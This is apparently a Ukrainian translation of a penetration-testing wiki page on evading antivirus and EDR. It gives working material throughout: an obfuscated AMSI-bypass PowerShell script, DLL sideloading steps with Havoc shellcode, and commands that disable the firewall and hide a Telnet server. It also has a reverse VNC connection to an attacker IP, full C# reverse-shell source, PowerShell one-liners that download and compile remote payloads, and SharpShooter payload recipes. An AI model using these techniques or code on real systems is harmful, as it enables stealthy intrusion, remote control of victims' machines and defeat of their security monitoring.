Antivirus (AV) Bypass

Reading time: 24 minutes

Цю сторінку написав @m2rc_p!

Методологія обходу AV

Наразі AV використовують різні методи для перевірки, чи є файл шкідливим, чи ні: статичне виявлення, динамічний аналіз, а для більш просунутих EDR - поведінковий аналіз.

Статичне виявлення

Статичне виявлення досягається шляхом позначення відомих шкідливих рядків або масивів байтів у бінарному файлі або скрипті, а також витягування інформації з самого файлу (наприклад, опис файлу, назва компанії, цифрові підписи, іконка, контрольна сума тощо). Це означає, що використання відомих публічних інструментів може призвести до того, що вас легше спіймають, оскільки їх, ймовірно, вже проаналізували та позначили як шкідливі. Є кілька способів обійти таке виявлення:

• Шифрування

Якщо ви зашифруєте бінарний файл, AV не зможе виявити вашу програму, але вам знадобиться якийсь завантажувач для розшифровки та виконання програми в пам'яті.

• Обфускація

Іноді все, що вам потрібно зробити, це змінити деякі рядки у вашому бінарному файлі або скрипті, щоб обійти AV, але це може бути трудомістким завданням, залежно від того, що ви намагаєтеся обфускувати.

• Користувацькі інструменти

Якщо ви розробите свої власні інструменти, не буде відомих поганих підписів, але це вимагає багато часу та зусиль.

Я настійно рекомендую вам ознайомитися з цим YouTube плейлистом про практичний обход AV.

Динамічний аналіз

Динамічний аналіз - це коли AV запускає ваш бінарний файл у пісочниці та спостерігає за шкідливою активністю (наприклад, намагаючись розшифрувати та прочитати паролі вашого браузера, виконуючи мінідамп на LSASS тощо). Ця частина може бути трохи складнішою для роботи, але ось кілька речей, які ви можете зробити, щоб обійти пісочниці.

• Сон перед виконанням Залежно від того, як це реалізовано, це може бути чудовим способом обійти динамічний аналіз AV. AV має дуже короткий час для сканування файлів, щоб не переривати робочий процес користувача, тому використання тривалих снів може порушити аналіз бінарних файлів. Проблема в тому, що багато пісочниць AV можуть просто пропустити сон, залежно від того, як це реалізовано.
• Перевірка ресурсів машини Зазвичай пісочниці мають дуже мало ресурсів для роботи (наприклад, < 2 ГБ ОП), інакше вони можуть сповільнити машину користувача. Ви також можете бути дуже креативними тут, наприклад, перевіряючи температуру ЦП або навіть швидкість вентиляторів, не все буде реалізовано в пісочниці.
• Перевірки, специфічні для машини Якщо ви хочете націлитися на користувача, чия робоча станція приєднана до домену "contoso.local", ви можете перевірити домен комп'ютера, щоб дізнатися, чи відповідає він вказаному вами, якщо ні, ви можете змусити вашу програму вийти.

Виявляється, що ім'я комп'ютера пісочниці Microsoft Defender - HAL9TH, тому ви можете перевірити ім'я комп'ютера у вашому шкідливому ПЗ перед детонацією, якщо ім'я збігається з HAL9TH, це означає, що ви всередині пісочниці Defender, тому ви можете змусити вашу програму вийти.

Деякі інші дійсно хороші поради від @mgeeky для обходу пісочниць

Як ми вже говорили раніше в цьому пості, публічні інструменти врешті-решт будуть виявлені, тому вам слід запитати себе щось:

Наприклад, якщо ви хочете скинути LSASS, чи дійсно вам потрібно використовувати mimikatz? Чи можете ви використовувати інший проект, який менш відомий і також скидає LSASS.

Правильна відповідь, ймовірно, остання. Взяти mimikatz як приклад, це, напевно, один з, якщо не найбільш позначених шкідливих програм AV та EDR, хоча сам проект супер класний, з ним також важко працювати, щоб обійти AV, тому просто шукайте альтернативи для того, що ви намагаєтеся досягти.

EXEs проти DLLs

Коли це можливо, завжди надавайте перевагу використанню DLL для обходу, на мій погляд, файли DLL зазвичай значно менше виявляються та аналізуються, тому це дуже простий трюк, який можна використовувати, щоб уникнути виявлення в деяких випадках (якщо ваше навантаження має якийсь спосіб виконання як DLL, звичайно).

Як ми можемо бачити на цьому зображенні, навантаження DLL з Havoc має рівень виявлення 4/26 на antiscan.me, тоді як навантаження EXE має рівень виявлення 7/26.

Тепер ми покажемо кілька трюків, які ви можете використовувати з файлами DLL, щоб бути набагато непомітнішими.

Завантаження DLL та проксування

Завантаження DLL використовує порядок пошуку DLL, що використовується завантажувачем, розміщуючи як жертву, так і шкідливі навантаження поруч один з одним.

Ви можете перевірити програми, які підлягають завантаженню DLL, використовуючи Siofra та наступний скрипт PowerShell:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

Ця команда виведе список програм, які підлягають атаці через підміни DLL у "C:\Program Files\" та DLL файли, які вони намагаються завантажити.

Я настійно рекомендую вам самостійно дослідити програми, які можна підмінити/завантажити DLL, ця техніка досить непомітна, якщо її правильно виконати, але якщо ви використовуєте публічно відомі програми, які можна підмінити DLL, вас можуть легко спіймати.

Просто розмістивши шкідливу DLL з ім'ям, яке програма очікує завантажити, не запустить ваш вантаж, оскільки програма очікує деякі специфічні функції всередині цієї DLL. Щоб вирішити цю проблему, ми використаємо іншу техніку, звану DLL Proxying/Forwarding.

DLL Proxying перенаправляє виклики, які програма робить з проксі (і шкідливої) DLL до оригінальної DLL, таким чином зберігаючи функціональність програми та можливість обробляти виконання вашого вантажу.

Я буду використовувати проект SharpDLLProxy від @flangvik

Це кроки, які я виконав:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

Остання команда надасть нам 2 файли: шаблон вихідного коду DLL та оригінальну перейменовану DLL.

Обидва наші shellcode (закодовані за допомогою SGN) та проксі DLL мають 0/26 рівень виявлення на antiscan.me! Я б назвав це успіхом.

Freeze

Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods

Ви можете використовувати Freeze для завантаження та виконання вашого shellcode у прихований спосіб.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

AMSI (Інтерфейс сканування антивірусного програмного забезпечення)

AMSI був створений для запобігання "безфайловим шкідливим програмам". Спочатку антивірусні програми могли сканувати лише файли на диску, тому, якщо ви могли якимось чином виконати корисне навантаження безпосередньо в пам'яті, антивірус не міг нічого зробити, щоб цьому запобігти, оскільки не мав достатньої видимості.

Функція AMSI інтегрована в ці компоненти Windows.

• Контроль облікових записів користувачів, або UAC (підвищення прав для EXE, COM, MSI або установки ActiveX)
• PowerShell (скрипти, інтерактивне використання та динамічна оцінка коду)
• Windows Script Host (wscript.exe та cscript.exe)
• JavaScript та VBScript
• Макроси Office VBA

Вона дозволяє антивірусним рішенням перевіряти поведінку скриптів, відкриваючи вміст скриптів у формі, яка є як незашифрованою, так і не обфускованою.

Виконання IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') призведе до появи наступного сповіщення в Windows Defender.

Зверніть увагу, як передує amsi: і потім шлях до виконуваного файлу, з якого запустився скрипт, у цьому випадку, powershell.exe

Ми не скинули жодного файлу на диск, але все ж були спіймані в пам'яті через AMSI.

Більше того, починаючи з .NET 4.8, код C# також виконується через AMSI. Це навіть впливає на Assembly.Load(byte[]) для завантаження в пам'яті. Ось чому рекомендується використовувати нижчі версії .NET (наприклад, 4.7.2 або нижче) для виконання в пам'яті, якщо ви хочете уникнути AMSI.

Є кілька способів обійти AMSI:

• Обфускація

Оскільки AMSI в основному працює з статичними виявленнями, тому модифікація скриптів, які ви намагаєтеся завантажити, може бути хорошим способом уникнути виявлення.

Однак AMSI має можливість розобфускувати скрипти, навіть якщо у них є кілька шарів, тому обфускація може бути поганим варіантом залежно від того, як це зроблено. Це ускладнює уникнення. Хоча іноді все, що вам потрібно зробити, це змінити кілька імен змінних, і ви будете в порядку, тому це залежить від того, наскільки щось було позначено.

• AMSI Bypass

Оскільки AMSI реалізується шляхом завантаження DLL у процес PowerShell (також cscript.exe, wscript.exe тощо), його можна легко підробити, навіть працюючи як неправа користувач. Через цей недолік у реалізації AMSI дослідники знайшли кілька способів уникнути сканування AMSI.

Примусова помилка

Примусове завершення ініціалізації AMSI (amsiInitFailed) призведе до того, що для поточного процесу не буде ініційовано жодного сканування. Спочатку це було розкрито Matt Graeber, і Microsoft розробила підпис, щоб запобігти більш широкому використанню.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Все, що було потрібно, це один рядок коду PowerShell, щоб зробити AMSI непридатним для поточного процесу PowerShell. Цей рядок, звичайно, був позначений самим AMSI, тому потрібні деякі модифікації для використання цієї техніки.

Ось модифікований обхід AMSI, який я взяв з цього Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.

Memory Patching

Цю техніку спочатку виявив @RastaMouse, і вона полягає у знаходженні адреси функції "AmsiScanBuffer" в amsi.dll (відповідальної за сканування введених користувачем даних) та перезапису її інструкціями, які повертають код E_INVALIDARG, таким чином, результат фактичного сканування поверне 0, що інтерпретується як чистий результат.

Існує також багато інших технік, які використовуються для обходу AMSI за допомогою PowerShell, ознайомтеся з цією сторінкою та цим репозиторієм, щоб дізнатися більше про них.

Цей інструмент https://github.com/Flangvik/AMSI.fail також генерує скрипт для обходу AMSI.

Remove the detected signature

Ви можете використовувати інструмент, такий як https://github.com/cobbr/PSAmsi та https://github.com/RythmStick/AMSITrigger, щоб видалити виявлений підпис AMSI з пам'яті поточного процесу. Цей інструмент працює, скануючи пам'ять поточного процесу на наявність підпису AMSI, а потім перезаписуючи його інструкціями NOP, ефективно видаляючи його з пам'яті.

AV/EDR products that uses AMSI

Ви можете знайти список продуктів AV/EDR, які використовують AMSI, у https://github.com/subat0mik/whoamsi.

Use Powershell version 2 Якщо ви використовуєте PowerShell версії 2, AMSI не буде завантажено, тому ви можете запускати свої скрипти без сканування AMSI. Ви можете зробити це:

powershell.exe -version 2

PS Logging

PowerShell logging - це функція, яка дозволяє вам реєструвати всі команди PowerShell, виконані на системі. Це може бути корисно для аудиту та усунення несправностей, але це також може бути проблемою для атакуючих, які хочуть уникнути виявлення.

Щоб обійти реєстрацію PowerShell, ви можете використовувати наступні техніки:

• Вимкнути транскрипцію PowerShell та реєстрацію модулів: Ви можете використовувати інструмент, такий як https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs для цієї мети.
• Використовувати версію PowerShell 2: Якщо ви використовуєте версію PowerShell 2, AMSI не буде завантажено, тому ви можете запускати свої скрипти без сканування AMSI. Ви можете зробити це: powershell.exe -version 2
• Використовувати unmanaged PowerShell сесію: Використовуйте https://github.com/leechristensen/UnmanagedPowerShell, щоб запустити PowerShell без захисту (це те, що використовує powerpick з Cobalt Strike).

Obfuscation

Існує кілька інструментів, які можна використовувати для обфускації коду C# у відкритому тексті, генерації шаблонів метапрограмування для компіляції бінарних файлів або обфускації скомпільованих бінарних файлів, таких як:

• ConfuserEx: Це чудовий відкритий обфускатор для .NET додатків. Він надає різні техніки захисту, такі як обфускація контролю потоку, анти-налагодження, анти-спотворення та шифрування рядків. Рекомендується, оскільки він дозволяє навіть обфускувати конкретні частини коду.
• InvisibilityCloak: C# обфускатор
• Obfuscator-LLVM: Мета цього проекту - надати відкритий форк компіляційного пакету LLVM, здатного забезпечити підвищену безпеку програмного забезпечення через обфускацію коду та захист від спотворення.
• ADVobfuscator: ADVobfuscator демонструє, як використовувати мову C++11/14 для генерації, під час компіляції, обфускованого коду без використання будь-якого зовнішнього інструменту та без модифікації компілятора.
• obfy: Додає шар обфускованих операцій, згенерованих за допомогою шаблонного метапрограмування C++, що ускладнить життя людині, яка хоче зламати додаток.
• Alcatraz: Alcatraz - це обфускатор бінарних файлів x64, здатний обфускувати різні файли pe, включаючи: .exe, .dll, .sys
• metame: Metame - це простий метаморфний кодовий двигун для довільних виконуваних файлів.
• ropfuscator: ROPfuscator - це детальний фреймворк обфускації коду для мов, що підтримують LLVM, з використанням ROP (програмування, орієнтованого на повернення). ROPfuscator обфускує програму на рівні асемблера, перетворюючи звичайні інструкції на ROP-ланцюги, що заважає нашому природному сприйняттю нормального контролю потоку.
• Nimcrypt: Nimcrypt - це .NET PE Crypter, написаний на Nim.
• inceptor: Inceptor здатний перетворювати існуючі EXE/DLL у shellcode, а потім завантажувати їх.

SmartScreen & MoTW

Ви, можливо, бачили цей екран, коли завантажували деякі виконувані файли з Інтернету та виконували їх.

Microsoft Defender SmartScreen - це механізм безпеки, призначений для захисту кінцевого користувача від запуску потенційно шкідливих додатків.

SmartScreen в основному працює на основі репутації, що означає, що незвичайно завантажені програми викликають SmartScreen, тим самим попереджаючи та заважаючи кінцевому користувачу виконувати файл (хоча файл все ще можна виконати, натиснувши Більше інформації -> Запустити все ж).

MoTW (Mark of The Web) - це NTFS Alternate Data Stream з назвою Zone.Identifier, який автоматично створюється під час завантаження файлів з Інтернету разом з URL-адресою, з якої він був завантажений.

Дуже ефективний спосіб запобігти тому, щоб ваші корисні навантаження отримали Mark of The Web, - це упакувати їх у якийсь контейнер, наприклад, ISO. Це відбувається тому, що Mark-of-the-Web (MOTW) не може бути застосований до не NTFS томів.

PackMyPayload - це інструмент, який упакує корисні навантаження в вихідні контейнери, щоб уникнути Mark-of-the-Web.

Приклад використання:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Ось демонстрація обходу SmartScreen шляхом упаковки payload у файли ISO за допомогою PackMyPayload

ETW

Event Tracing for Windows (ETW) - це потужний механізм ведення журналів у Windows, який дозволяє додаткам і системним компонентам реєструвати події. Однак його також можуть використовувати засоби безпеки для моніторингу та виявлення шкідливої діяльності.

Подібно до того, як AMSI вимкнено (обійдено), також можливо змусити функцію EtwEventWrite процесу користувацького простору повертати результат негайно, не реєструючи жодних подій. Це досягається шляхом патчування функції в пам'яті, щоб вона повертала результат негайно, ефективно вимикаючи ведення журналів ETW для цього процесу.

Ви можете знайти більше інформації на https://blog.xpnsec.com/hiding-your-dotnet-etw/ та https://github.com/repnz/etw-providers-docs/.

C# Assembly Reflection

Завантаження C# бінарників у пам'ять відомо вже досить давно, і це все ще дуже хороший спосіб запуску ваших інструментів після експлуатації без ризику бути спійманим AV.

Оскільки payload буде завантажено безпосередньо в пам'ять, не торкаючись диска, нам потрібно буде турбуватися лише про патчування AMSI для всього процесу.

Більшість C2 фреймворків (sliver, Covenant, metasploit, CobaltStrike, Havoc тощо) вже надають можливість виконувати C# збірки безпосередньо в пам'яті, але існують різні способи зробити це:

• Fork&Run

Це передбачає створення нового жертвеного процесу, ін'єкцію вашого шкідливого коду після експлуатації в цей новий процес, виконання вашого шкідливого коду, а коли закінчите, завершення нового процесу. Це має свої переваги та недоліки. Перевага методу fork and run полягає в тому, що виконання відбувається ззовні нашого процесу Beacon implant. Це означає, що якщо щось у нашій дії після експлуатації піде не так або буде спіймано, є набагато більша ймовірність, що наш імплант виживе. Недолік полягає в тому, що у вас є більша ймовірність бути спійманим за допомогою поведінкових виявлень.

• Inline

Це про ін'єкцію шкідливого коду після експлуатації в його власний процес. Таким чином, ви можете уникнути створення нового процесу та його сканування AV, але недолік полягає в тому, що якщо щось піде не так з виконанням вашого payload, є набагато більша ймовірність втратити ваш beacon, оскільки він може зламатися.

Ви також можете завантажувати C# збірки з PowerShell, ознайомтеся з Invoke-SharpLoader та відео S3cur3th1sSh1t.

Використання інших мов програмування

Як запропоновано в https://github.com/deeexcee-io/LOI-Bins, можливо виконувати шкідливий код, використовуючи інші мови, надаючи скомпрометованій машині доступ до середовища інтерпретатора, встановленого на SMB-ресурсі, контрольованому зловмисником.

Дозволяючи доступ до бінарних файлів інтерпретатора та середовища на SMB-ресурсі, ви можете виконувати довільний код на цих мовах у пам'яті скомпрометованої машини.

Репозиторій вказує: Defender все ще сканує скрипти, але, використовуючи Go, Java, PHP тощо, ми маємо більшу гнучкість для обходу статичних підписів. Тестування випадкових не обфусцированих реверс-shell скриптів на цих мовах виявилося успішним.

TokenStomping

Token stomping - це техніка, яка дозволяє зловмиснику маніпулювати токеном доступу або засобом безпеки, таким як EDR або AV, дозволяючи зменшити його привілеї, щоб процес не завершився, але не мав дозволів на перевірку шкідливої діяльності.

Щоб запобігти цьому, Windows може заборонити зовнішнім процесам отримувати дескриптори токенів безпеки.

• https://github.com/pwn1sher/KillDefender/
• https://github.com/MartinIngesen/TokenStomp
• https://github.com/nick-frischkorn/TokenStripBOF

Advanced Evasion

Уникнення виявлення - це дуже складна тема, іноді потрібно враховувати багато різних джерел телеметрії в одній системі, тому практично неможливо залишатися повністю непоміченим у зрілих середовищах.

Кожне середовище, з яким ви стикаєтеся, матиме свої власні сильні та слабкі сторони.

Я настійно рекомендую вам подивитися цю доповідь від @ATTL4S, щоб отримати уявлення про більш просунуті техніки уникнення.

[NcN2k20] Understanding and Hiding your Operations - Daniel L&oacute;pez Jim&eacute;nez

Це також ще одна чудова доповідь від @mariuszbit про Уникнення в глибині.

- YouTube

Старі техніки

Перевірте, які частини Defender вважає шкідливими

Ви можете використовувати ThreatCheck, який видалить частини бінарного файлу, поки не виявить, яка частина Defender вважає шкідливою, і розділить її для вас.
Інший інструмент, який робить те саме - це avred з відкритим веб-сайтом, що пропонує послугу на https://avred.r00ted.ch/

Telnet Server

До Windows 10 всі Windows постачалися з Telnet сервером, який ви могли встановити (як адміністратор), виконавши:

pkgmgr /iu:"TelnetServer" /quiet

Зробіть так, щоб він запускався при старті системи та виконайте його зараз:

sc config TlntSVR start= auto obj= localsystem

Змінити порт telnet (приховано) та вимкнути брандмауер:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Завантажте його з: http://www.uvnc.com/downloads/ultravnc.html (вам потрібні бінарні завантаження, а не установка)

НА ХОСТІ: Виконайте winvnc.exe і налаштуйте сервер:

• Увімкніть опцію Disable TrayIcon
• Встановіть пароль у VNC Password
• Встановіть пароль у View-Only Password

Потім перемістіть бінарний файл winvnc.exe і новостворений файл UltraVNC.ini всередину жертви

Зворотне з'єднання

Атакуючий повинен виконати всередині свого хоста бінарний файл vncviewer.exe -listen 5900, щоб він був готовий прийняти зворотне VNC з'єднання. Потім, всередині жертви: Запустіть демон winvnc winvnc.exe -run і виконайте winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

ПОПЕРЕДЖЕННЯ: Щоб зберегти прихованість, ви не повинні робити кілька речей

• Не запускайте winvnc, якщо він вже працює, або ви викличете вікно сповіщення. перевірте, чи працює він за допомогою tasklist | findstr winvnc
• Не запускайте winvnc без UltraVNC.ini в тому ж каталозі, інакше відкриється вікно конфігурації
• Не запускайте winvnc -h для отримання допомоги, або ви викличете вікно сповіщення

GreatSCT

Завантажте його з: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Всередині GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Тепер почніть лістер з msfconsole -r file.rc та виконайте xml payload з:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Поточний захисник дуже швидко завершить процес.

Компіляція власного реверс-шелу

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Перший C# реверс-шел

Скомпілюйте його за допомогою:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Використовуйте це з:

back.exe <ATTACKER_IP> <PORT>

// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# використовуючи компілятор

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

Автоматичне завантаження та виконання:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f

Список обфускаторів C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

• https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
• https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
• https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
• https://github.com/l0ss/Grouper2
• http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
• http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/

Використання python для прикладу створення інжекторів:

• https://github.com/cocomelonc/peekaboo

Інші інструменти

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Більше

• https://github.com/Seabreg/Xeexe-TopAntivirusEvasion